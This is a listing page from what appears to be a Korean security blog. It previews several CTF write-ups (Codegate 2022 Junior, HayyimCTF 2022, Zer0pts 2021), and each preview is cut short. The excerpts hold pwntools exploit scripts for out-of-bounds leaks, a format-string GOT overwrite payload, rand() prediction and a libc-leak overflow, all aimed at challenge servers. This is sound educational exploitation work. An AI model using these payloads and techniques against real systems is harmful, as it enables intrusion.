CTF write up(48)
-
[CTF write up] Codegate CTF 2022 Junior - Dino_diary : Simple Out Of Bound
from pwn import * #p = process('Dino_diary') p = remote('52.78.171.46',8080) p.sendlineafter(b':',b'3') p.sendlineafter(b':',b'-28') p.recvuntil(b'comment number: ') lic1 = p.recvuntil(b'\n') lic1 = lic1[16:len(lic1)-1] print(lic1) p.recvuntil(b'name: ') lic2 = p.recvuntil(b'\x7f') print(lic2) stdout = u64(p32(int(lic1)) + lic2 + b'\x00\x00') print(hex(stdout)) oneshot = stdout - 0x39d210 - 0x4f..
2022.02.27 -
[CTF write up] Codegate CTF 2022 Junior - cat_tail : Hidden Format String Bug
from pwn import * #context.log_level = 'debug' #p = process('cat_tail') p = remote('3.39.67.50',5334) p.sendlineafter(b'>',b'3') fsb_payload = b'%4117d%16$hnAAAA' + p64(0x404070) print(fsb_payload) raw_input() p.sendlineafter(b'>',fsb_payload) p.interactive() 처음에는 파일 권한 관련 취약점이 있는 줄 알아서 고생했다... 다시 제대로 분석해보니 포맷 스트링 버그가 있었다. 권한 확인을 단순히 파일 이름 비교로 하기 때문에 strcmp의 GOT를 RET 가젯으로 바꾸면 flag에 대한 권한 검사가 작동하..
2022.02.27 -
[CTF write up] Codegate CTF 2022 Junior - Gift : Rand() Crack
from pwn import * import ctypes point = 20 def money(point): p.sendlineafter(b'>', b'3') p.sendlineafter(b'>', b'5') lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6') lib.srand(lib.time(0)) a = lib.rand() % 50 b = lib.rand() % 50 if a > b: p.sendlineafter(b'>', f'{point} 2'.encode()) else: p.sendlineafter(b'>', f'{point} 1'.encode()) print(a, b) #p = process(['cooldown'], env={'LD_PRELOAD':'...
2022.02.27 -
[CTF write up] HayyimCTF 2022 - MemoryManager : Child VM challenge
__int64 __fastcall main(int a1, char **a2, char **a3) { void *vm_name; // [rsp+0h] [rbp-80h] __int64 rs; // [rsp+8h] [rbp-78h] Vmware vm; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 canary; // [rsp+78h] [rbp-8h] canary = __readfsqword(0x28u); vm_name = calloc(1uLL, 0x40uLL); sub_40230D(); offsetunk = -1; memset(&vm, 0, 0x60uLL); vm.SP = int::0x1000; vm.BP = int::0x1000; heap_addr = (__int64)&h..
2022.02.18 -
[CTF write up] HayyimCTF 2022 - Cooldown / WarmUp : Tiny Binary Exploitation
이 문제에 핵심은 소켓 환경에서는 write(0,buf,size) 다음과 같이 출력 함수에 stdin을 인자로 넣어줬을때도 말짱하게 출력된다는 것이다..... from pwn import * #p = process(['cooldown'], env={'LD_PRELOAD':'./libc.so.6'}) p = remote("141.164.48.191", 10005) e = ELF('cooldown') libc = ELF('libc.so.6') payload = b'a'*0x38 payload += p64(0x00000000004004A0) raw_input() p.send(payload) lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) system_addr =..
2022.02.14 -
[CTF write up] Zer0pts CTF 2021 - oneshot : 안전하지 않은 반환 값으로 인한 임의의 주소 쓰기(AAW) 취약점
원래는 DEF CON이나 CODEGATE의 문제를 분석하려고 했는데 난이도가 상당한데다 기존의 포너블 문제와는 다른 면이 꽤 있어서 그나마 쉽고 문제가 전부 공개된 Zer0pts CTF의 문제를 분석하려고 한다. Zer0pts CTF 2021의 문제들은 이곳에서 받을 수 있다. https://gitlab.com/zer0pts/zer0pts-ctf-2021 zer0pts / zer0pts CTF 2021 GitLab.com gitlab.com 풀기전에 두개의 Write-up을 보았다. 하나는 opcode 깎기로 가젯을 창조(...)하는 띠용한 언인텐 풀이였고 다른 하나는 calloc이나 malloc이 라이브러리 주소를 반환하게 하는 버그를 이용했었다. 하여튼 두 방법을 이용하지 않고 또 다른 방법으로 풀어..
2022.02.10